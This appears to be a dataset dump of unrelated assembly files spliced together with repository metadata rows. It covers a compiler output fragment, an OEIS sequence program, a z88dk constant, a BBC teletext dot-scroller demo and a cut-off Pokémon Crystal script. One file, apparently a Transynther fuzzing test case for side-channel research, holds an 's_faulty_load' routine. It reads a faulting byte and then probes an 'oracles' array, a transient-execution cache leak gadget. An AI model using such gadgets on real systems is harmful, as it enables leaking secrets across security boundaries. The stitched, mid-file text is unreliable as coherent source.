FALSO_7:
movl $0, %eax
FIN_7:
popq %rbx
FIN_AND_5:
popq %rbx
cmpl $1, %eax
jl FIN_IF_3
movl $0, %eax
movl %eax, -4(%rbp)
movl %eax, global(%rip)
FIN_IF_3:
retorno_selectivas:
movq %rbp, %rsp
popq %rbp
ret | 15.075676 | 25 | 0.606848 |
7ad49d520bf3de2ae62f2ca17bc064d9385220fe | 8,102 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1613.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1613.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1613.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x23d6, %rsi
lea addresses_A_ht+0x89c0, %rdi
clflush (%rsi)
nop
nop
cmp %r14, %r14
mov $17, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $63866, %r14
lea addresses_WC_ht+0x16102, %rbx
nop
nop
nop
nop
inc %r13
movb $0x61, (%rbx)
inc %rcx
lea addresses_WC_ht+0x18680, %rbp
nop
nop
xor $42087, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
and $0xffffffffffffffc0, %rbp
movntdq %xmm1, (%rbp)
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0x1a718, %rbx
nop
sub $16278, %rdi
movw $0x6162, (%rbx)
nop
nop
nop
nop
nop
add $25840, %r13
lea addresses_UC_ht+0x5638, %rcx
nop
xor $31059, %rdi
mov (%rcx), %r14
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_UC_ht+0xccd0, %rbp
nop
add %rbx, %rbx
movups (%rbp), %xmm3
vpextrq $0, %xmm3, %rcx
nop
sub $41989, %rsi
lea addresses_UC_ht+0x15240, %rsi
lea addresses_normal_ht+0x1e740, %rdi
nop
sub %rbx, %rbx
mov $84, %rcx
rep movsb
nop
nop
nop
add %rsi, %rsi
lea addresses_normal_ht+0xc1c0, %rcx
nop
and %r13, %r13
and $0xffffffffffffffc0, %rcx
vmovntdqa (%rcx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r14
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x6a40, %rsi
nop
xor %rbp, %rbp
movl $0x61626364, (%rsi)
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0x24c0, %rdi
nop
sub %rbx, %rbx
movl $0x61626364, (%rdi)
nop
nop
nop
nop
add $56347, %rdi
lea addresses_D_ht+0x14e40, %rsi
lea addresses_UC_ht+0x1a6e0, %rdi
dec %rax
mov $123, %rcx
rep movsb
nop
nop
nop
and $10828, %r14
lea addresses_A_ht+0xca40, %rsi
lea addresses_A_ht+0x17640, %rdi
nop
nop
nop
xor $11017, %rbx
mov $96, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $25317, %rbp
lea addresses_normal_ht+0x3c40, %rdi
nop
nop
nop
nop
nop
and $196, %rax
movw $0x6162, (%rdi)
nop
nop
nop
nop
add $36736, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rbp
push %rbx
// Store
mov $0x640, %rbx
nop
nop
nop
nop
add %r11, %r11
mov $0x5152535455565758, %r9
movq %r9, (%rbx)
nop
nop
nop
nop
nop
and %r12, %r12
// Load
lea addresses_RW+0x6040, %rbp
nop
nop
nop
nop
xor %r14, %r14
mov (%rbp), %r13
nop
nop
nop
cmp $27066, %r11
// Store
mov $0x28973400000009be, %r12
nop
cmp %r14, %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm7
movups %xmm7, (%r12)
nop
nop
nop
nop
cmp %r11, %r11
// Faulty Load
lea addresses_RW+0x1a40, %r9
nop
nop
nop
nop
dec %rbx
movb (%r9), %r11b
lea oracles, %r9
and $0xff, %r11
shlq $12, %r11
mov (%r9,%r11,1), %r11
pop %rbx
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_P'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_NC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 31.897638 | 2,999 | 0.656628 |
315d43f89a81a7f6846266b65927c84bb4c75427 | 949 | asm | Assembly | programs/oeis/090/A090816.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/090/A090816.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/090/A090816.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A090816: a(n) = (3*n+1)!/((2*n)! * n!).
; 1,12,105,840,6435,48048,352716,2558160,18386775,131231100,931395465,6580248480,46312074900,324897017760,2272989850440,15863901576864,110487596768703,768095592509700,5330949171823275,36945070220658600,255702514854135195,1767643865751234240,12206272254777946800,84205588308323227200,580369101332499051300,3996729582727315915728,27502382411459573207436,189114914695151782223040,1299551029065872555438520,8924684381098478674735680,61255100680098795581935824,420201568494046312156991808,2881069533982616641760922255,19744392610510239922557369300,135250822866859981945367194575,926090106387741888798588790680,6338608515727836648508181376585,43368191547815779809119286130800,296615604823087399273423749089340,2028009190218991169457854284482960,13861378637640785054916286633988991,94713159905252843862138023576777532,646975651246079559514389468279407625
mov $2,1
add $2,$0
mul $0,2
add $0,$2
bin $0,$2
mul $0,$2
| 94.9 | 847 | 0.893572 |
02248e14e98ce544920c6b1df6ea335cdb3411d4 | 152 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_0.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_0.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_0.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_math48
PUBLIC am48_dconst_0
EXTERN mm48__zero_no
; set AC = 0
;
; uses : bc, de, hl
defc am48_dconst_0 = mm48__zero_no
| 11.692308 | 34 | 0.690789 |
5f1f774f3df8b8d03e6b9d92a202c88fd345fe74 | 12,173 | asm | Assembly | src/fx/dotscroller.asm | bitshifters/teletextr | 1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615 | [
"MIT"
] | 8 | 2016-12-26T19:33:13.000Z | 2021-02-19T21:01:07.000Z | src/fx/dotscroller.asm | bitshifters/teletextr | 1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615 | [
"MIT"
] | 9 | 2016-11-25T00:58:44.000Z | 2017-06-26T15:22:10.000Z | src/fx/dotscroller.asm | bitshifters/teletextr | 1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615 | [
"MIT"
] | null | null | null |
; quick & dirty dot scroller
; written to try out Simon's fast PLOT_PIXEL macro
; was thinking about a fixed position (sparse) sprite plot routine for interesting scrollers
; but figured I would get it working with dots first to see if I like it
; now uses own font (pre-rotated) but currently takes up 3 pages (96 characters)
; entire dot map can be moved at runtime by updating cx, cy but that isn't required can optimise out
.start_fx_dotscroller
_DOTSCROLL_SMOOTH = FALSE ; don't like this effect
_DOTSCROLL_BALL = FALSE ; not compatible with _SMOOTH!
_DOTSCROLL_ANGLE = FALSE ; otherwise half circle
\\ Definitions
DOTSCROLL_shadow_addr = &7800
DOTSCROLL_num_columns = 32
DOTSCROLL_num_rows = 8
DOTSCROLL_cols_per_glyph = 8
\\ Dots are defined in this space
DOTSCROLL_dot_centre_x = 128
DOTSCROLL_dot_centre_y = 128
\\ Transformed into teletext pixel space
DOTSCROLL_screen_centre_x = 38
DOTSCROLL_screen_centre_y = 36 ; row 12
\\ Clamping / clipping coordinates
DOTSCROLL_dot_left_clip = DOTSCROLL_dot_centre_x - DOTSCROLL_screen_centre_x
DOTSCROLL_dot_right_clip = DOTSCROLL_dot_centre_x + DOTSCROLL_screen_centre_x
DOTSCROLL_dot_top_clip = DOTSCROLL_dot_centre_y - DOTSCROLL_screen_centre_y ; odd number of pixels vertically
DOTSCROLL_dot_bottom_clip = DOTSCROLL_dot_centre_y + 29 ; ignore bottom 3 lines for reflection
\ ******************************************************************
\ * Dotscroller Plot FX
\ ******************************************************************
.fx_dotscroller_byte
EQUB 0
.fx_dotscroller_cx ; 0 = centre of screen, -ve left, +ve right
EQUB 0
.fx_dotscroller_cy ; 0 = centre of screen, -ve up, +ve down
IF _DOTSCROLL_BALL
EQUB 10
ELSE
IF _DOTSCROLL_ANGLE
EQUB 0
ELSE
EQUB 28
ENDIF
ENDIF
\\ Bits in A, column# in X
.fx_dotscroller_plot_column
\\{
STA fx_dotscroller_byte
\\ X column to table index
TXA
ASL A: ASL A: ASL A
TAX
\\ How many times round the loop?
.fx_dotscroller_plot_column_loop
LDA fx_dotscroller_byte
BEQ fx_dotscroller_plot_column_return
ASL A ; I planned this to be the other way up but fine for now!
STA fx_dotscroller_byte
BCC fx_dotscroller_plot_column_skip_plot
STX fx_dotscroller_plot_column_temp_x+1
.fx_dotscroller_plot_column_table_x
LDA fx_dotscroll_x, X
.fx_dotscroller_plot_column_table_y
LDY fx_dotscroll_y, X
TAX
\\ New centre / offset
\\ Could remove this if not going to animte dot scroller
{
TXA
CLC
ADC fx_dotscroller_cx
TAX
TYA
CLC
ADC fx_dotscroller_cy
TAY
}
\\ Clamping
\\ Could also clip and not draw if out of bounds
{
CPX #DOTSCROLL_dot_left_clip
BCS left_ok
LDX #DOTSCROLL_dot_left_clip
.left_ok
CPX #DOTSCROLL_dot_right_clip
BCC right_ok
LDX #DOTSCROLL_dot_right_clip
.right_ok
CPY #DOTSCROLL_dot_top_clip
BCS top_ok
LDY #DOTSCROLL_dot_top_clip
.top_ok
CPY #DOTSCROLL_dot_bottom_clip
BCC bottom_ok
LDY #DOTSCROLL_dot_bottom_clip
.bottom_ok
}
\\ Adjust to screen
\\ Could remove this if not going to animte dot scroller
{
TXA
SEC
SBC #(DOTSCROLL_dot_centre_x - DOTSCROLL_screen_centre_x)
TAX
TYA
SEC
SBC #(DOTSCROLL_dot_centre_y - DOTSCROLL_screen_centre_y)
TAY
}
\\ Plot that pixel, yo!
{
PLOT_PIXEL
}
.fx_dotscroller_plot_column_temp_x
LDX #0
.fx_dotscroller_plot_column_skip_plot
INX
BNE fx_dotscroller_plot_column_loop
.fx_dotscroller_plot_column_return
RTS
\\}
\ ******************************************************************
\ * Dotscroller Scroll FX
\ ******************************************************************
.fx_dotscroller_set_text
{
STX fx_dotscroller_ptr
STY fx_dotscroller_ptr+1
LDA 0
STA fx_dotscroller_char_idx
STA fx_dotscroller_col_idx
RTS
}
MACRO FX_DOTSCROLLER_SET_FN text_string
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS text_string, 0 ; sadly MACROs don't like text parameters :(
}
ENDMACRO
IF 0
.fx_dotscroller_set_text_3d
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS " HOW ABOUT SOME 3D SHAPES? ", 0
}
.fx_dotscroller_set_text_vb
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS " VECTORBALLS IN TELETEXT?! ", 0
}
.fx_dotscroller_set_text_part
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS " PARTICLES ON A BEEB? SURE! ", 0
}
.fx_dotscroller_set_text_int
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS " OLD SCHOOL INTERFERENCE FTW! ", 0
}
.fx_dotscroller_set_text_rot
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS " ROTOZOOM!!... ", 0
}
.fx_dotscroller_set_text_pl
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS " GOTTA HAVE SOME PLASMA ", 0
}
\\ NB. Can only have 255 characters max at the moment
.fx_dotscroller_msg
EQUS "HELLO WORLD! THIS IS A DOT SCROLLER WHICH IS SOMEWHAT UNREADABLE BUT BETTER IN UPPERCASE!... 0123456789 "
EQUB 0
ENDIF
.fx_dotscroller_set_text_hello
{
LDX #LO(text_addr):LDY #HI(text_addr):JMP fx_dotscroller_set_text
.text_addr EQUS " HELLO TO EVERYONE AT THE PARTY!! ", 0
}
.fx_dotscroller_char_idx
EQUB 0
.fx_dotscroller_cur_col ; temp during fn
EQUB 0
.fx_dotscroller_col_idx
EQUB 0
.fx_dotscroller_update
{
lda #144+7
ldx #0
jsr mode7_set_column_shadow_fast
\\ Update the centre of our dots
IF _DOTSCROLL_BALL
JSR fx_dotscroller_bounce_centre
ENDIF
\\ Do the scroll text bit
LDA fx_dotscroller_char_idx
STA char_idx + 1
IF _DOTSCROLL_SMOOTH
LDA fx_dotscroller_col_idx
LSR A
STA first_col + 1
BCC use_table_2
\\ Use table 1
LDA #LO(fx_dotscroll_x)
STA fx_dotscroller_plot_column_table_x + 1
LDA #HI(fx_dotscroll_x)
STA fx_dotscroller_plot_column_table_x + 2
LDA #LO(fx_dotscroll_y)
STA fx_dotscroller_plot_column_table_y + 1
LDA #HI(fx_dotscroll_y)
STA fx_dotscroller_plot_column_table_y + 2
JMP start
.use_table_2
LDA #LO(fx_dotscroll_x2)
STA fx_dotscroller_plot_column_table_x + 1
LDA #HI(fx_dotscroll_x2)
STA fx_dotscroller_plot_column_table_x + 2
LDA #LO(fx_dotscroll_y2)
STA fx_dotscroller_plot_column_table_y + 1
LDA #HI(fx_dotscroll_y2)
STA fx_dotscroller_plot_column_table_y + 2
ELSE
LDA fx_dotscroller_col_idx
STA first_col + 1
ENDIF
.start
LDX #0
STX fx_dotscroller_cur_col
.char_loop
.char_idx
LDY #0
LDA (fx_dotscroller_ptr), Y
BNE not_zero
STA char_idx + 1
BEQ char_idx
.not_zero
INY
STY char_idx + 1
\\ Convert char to fb
JSR fx_dotscroller_get_char
\\ Plot columns
.first_col
LDY #0
.col_loop
STY fb_idx + 1
LDA (readptr), Y
LDX fx_dotscroller_cur_col
JSR fx_dotscroller_plot_column
LDX fx_dotscroller_cur_col
INX
STX fx_dotscroller_cur_col
CPX #DOTSCROLL_num_columns
BCS done
.fb_idx
LDY #0
INY
CPY #DOTSCROLL_cols_per_glyph
BCC col_loop
\\ Next char but from start of column
LDA #0
STA first_col + 1
JMP char_loop
.done
LDX fx_dotscroller_col_idx
LDY fx_dotscroller_char_idx
\\ Next column next time
INX
IF _DOTSCROLL_SMOOTH
CPX #DOTSCROLL_cols_per_glyph * 2
ELSE
CPX #DOTSCROLL_cols_per_glyph
ENDIF
BCC same_char
\\ Next char next time
LDX #0
INY
LDA (fx_dotscroller_ptr), Y
BNE same_char
LDY #0
.same_char
STX fx_dotscroller_col_idx
STY fx_dotscroller_char_idx
.return
RTS
}
\ ******************************************************************
\ * Dotscroller Font FX
\ ******************************************************************
\\ Pass character ASCII in A
\\ Return in readptr
.fx_dotscroller_get_char
{
SEC
SBC #32
STA readptr
LDA #0
STA readptr+1
\\ Multiply by 8
ASL readptr
ROL readptr+1
ASL readptr
ROL readptr+1
ASL readptr
ROL readptr+1
\\ Add font address
CLC
LDA #LO(bbc_font_rotated)
ADC readptr
STA readptr
LDA #HI(bbc_font_rotated)
ADC readptr+1
STA readptr+1
\\ Don't bother copying, just return in readptr
.return
RTS
}
\ ******************************************************************
\ * Dotscroller Ball FX
\ ******************************************************************
IF _DOTSCROLL_BALL
.fx_dotscroller_vx
EQUB 2
.fx_dotscroller_vy
EQUB 0
.fx_dotscroller_bounce_centre
{
\\ Update velocity
CLC
LDA fx_dotscroller_vy
ADC #1 ; gravity
STA fx_dotscroller_vy
\\ Update position
CLC
LDA fx_dotscroller_cx
ADC fx_dotscroller_vx ; should be times delta
STA fx_dotscroller_cx
CLC
LDA fx_dotscroller_cy
ADC fx_dotscroller_vy ; should be times delta
STA fx_dotscroller_cy
\\ Collision detection
LDA fx_dotscroller_cy
BMI check_top
\\ Check bottom
CMP #30 ; 10 lines below centre
BCC y_ok
\\ Flip velocity for bounce
CLC
LDA fx_dotscroller_vy
ADC #1
EOR #&FF
ADC #1 ; otherwise lose momentum
STA fx_dotscroller_vy
\\ Clamp y bottom
LDA #30
STA fx_dotscroller_cy
JMP y_ok
.check_top
CMP #&DC ; -36
BCS y_ok
\\ Clamp y top
LDA #&DC ; -36
STA fx_dotscroller_cy
.y_ok
LDA fx_dotscroller_cx
BMI check_left
\\ Check right
CMP #36 ; 10 lines below centre
BCC x_ok
\\ Flip velocity for bounce
CLC
LDA fx_dotscroller_vx
EOR #&FF
ADC #1
STA fx_dotscroller_vx
\\ Clamp x right
LDA #36
STA fx_dotscroller_cx
JMP x_ok
.check_left
CMP #&DC ; -36
BCS x_ok
\\ Flip velocity for bounce
CLC
LDA fx_dotscroller_vx
EOR #&FF
ADC #1
STA fx_dotscroller_vx
\\ Clamp x left
LDA #&DC ; -36
STA fx_dotscroller_cx
.x_ok
.return
RTS
}
ENDIF
\ ******************************************************************
\ * Dotscroller Lookup Tables
\ ******************************************************************
ALIGN &100
.fx_dotscroll_x
{
IF _DOTSCROLL_ANGLE
FOR c, 0, DOTSCROLL_num_columns-1, 1
FOR r, 0, DOTSCROLL_num_rows-1, 1
dx=(c - (DOTSCROLL_num_columns/2))*2
dy=(r - (DOTSCROLL_num_rows/2))*2
EQUB DOTSCROLL_dot_centre_x + dx * SIN(3*PI/4) + dy * COS(3*PI/4)
NEXT
NEXT
ELSE ; half circle
FOR c, 0, DOTSCROLL_num_columns-1, 1
FOR r, 0, DOTSCROLL_num_rows-1, 1
centre_x = DOTSCROLL_dot_centre_x
centre_y = DOTSCROLL_dot_centre_y
IF _DOTSCROLL_BALL
inner = 4
outer = 20
angle = PI/4 + (12*PI/8) * c / DOTSCROLL_num_columns
ELSE
inner = 10
outer = 35
angle = PI/2 + 1 * PI * c / DOTSCROLL_num_columns
ENDIF
distance = inner + (outer - inner) * r / DOTSCROLL_num_rows
EQUB centre_x - distance * SIN(angle)
NEXT
NEXT
ENDIF
}
.fx_dotscroll_y
{
IF _DOTSCROLL_ANGLE
FOR c, 0, DOTSCROLL_num_columns-1, 1
FOR r, 0, DOTSCROLL_num_rows-1, 1
dx=(c - (DOTSCROLL_num_columns/2))*2
dy=(r - (DOTSCROLL_num_rows/2))*2
EQUB DOTSCROLL_dot_centre_y - dy * SIN(3*PI/4) + dx * COS(3*PI/4)
NEXT
NEXT
ELSE ; half circle
FOR c, 0, DOTSCROLL_num_columns-1, 1
FOR r, 0, DOTSCROLL_num_rows-1, 1
centre_x = DOTSCROLL_dot_centre_x
centre_y = DOTSCROLL_dot_centre_y
IF _DOTSCROLL_BALL
inner = 6
outer = 22
angle = PI/4 + (12*PI/8) * c / DOTSCROLL_num_columns
ELSE
inner = 14
outer = 36
angle = PI/2 + 1 * PI * c / DOTSCROLL_num_columns
ENDIF
distance = inner + (outer - inner) * r / DOTSCROLL_num_rows
EQUB centre_y + distance * COS(angle)
NEXT
NEXT
ENDIF
}
IF _DOTSCROLL_SMOOTH
.fx_dotscroll_x2
{
FOR c, 0, DOTSCROLL_num_columns-1, 1
FOR r, 0, DOTSCROLL_num_rows-1, 1
centre_x = DOTSCROLL_dot_centre_x
centre_y = DOTSCROLL_dot_centre_y
inner = 10
outer = 30
distance = inner + (outer - inner) * r / DOTSCROLL_num_rows
angle = PI/2 + PI / (2*DOTSCROLL_num_columns) + 1 * PI * c / DOTSCROLL_num_columns
EQUB centre_x - distance * SIN(angle)
NEXT
NEXT
}
.fx_dotscroll_y2
{
FOR c, 0, DOTSCROLL_num_columns-1, 1
FOR r, 0, DOTSCROLL_num_rows-1, 1
centre_x = DOTSCROLL_dot_centre_x
centre_y = DOTSCROLL_dot_centre_y
inner = 14
outer = 36
distance = inner + (outer - inner) * r / DOTSCROLL_num_rows
angle = PI/2 + PI / (2*DOTSCROLL_num_columns) + 1 * PI * c / DOTSCROLL_num_columns
EQUB centre_y + distance * COS(angle)
NEXT
NEXT
}
ENDIF
.bbc_font_rotated
;INCBIN ".\data\bbc_font_90_deg_cw.bin"
;INCBIN ".\data\bold_font_90_deg_cw.bin"
INCBIN ".\data\square_font_90_deg_cw.bin"
.end_fx_dotscroller | 19.539326 | 114 | 0.704346 |
a384f1368a950ce3bcc02cc69a7e4340df2f58ff | 1,014 | asm | Assembly | engine/events/misc_scripts.asm | Ebernacher90/pokecrystal-allworld | 5d623c760e936842cf92563912c5bd64dd69baef | [
"blessing"
] | null | null | null | engine/events/misc_scripts.asm | Ebernacher90/pokecrystal-allworld | 5d623c760e936842cf92563912c5bd64dd69baef | [
"blessing"
] | null | null | null | engine/events/misc_scripts.asm | Ebernacher90/pokecrystal-allworld | 5d623c760e936842cf92563912c5bd64dd69baef | [
"blessing"
] | null | null | null | Script_AbortBugContest:
checkflag ENGINE_BUG_CONTEST_TIMER
iffalse .finish
setflag ENGINE_DAILY_BUG_CONTEST
special ContestReturnMons
.finish
end
FindItemInBallScript::
callasm .TryReceiveItem
iffalse .no_room
disappear LAST_TALKED
opentext
writetext .text_found
playsound SFX_ITEM
pause 60
itemnotify
closetext
end
.no_room
opentext
writetext .text_found
waitbutton
writetext .text_bag_full
waitbutton
closetext
end
.text_found
; found @ !
text_far UnknownText_0x1c0a1c
text_end
.text_bag_full
; But can't carry any more items.
text_far UnknownText_0x1c0a2c
text_end
.TryReceiveItem:
xor a
ld [wScriptVar], a
ld a, [wItemBallItemID]
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld hl, wStringBuffer3
call CopyName2
ld de, wStringBuffer3 + STRLEN("TM##")
farcall AppendTMHMMoveName
ld a, [wItemBallItemID]
ld [wCurItem], a
ld a, [wItemBallQuantity]
ld [wItemQuantityChangeBuffer], a
ld hl, wNumItems
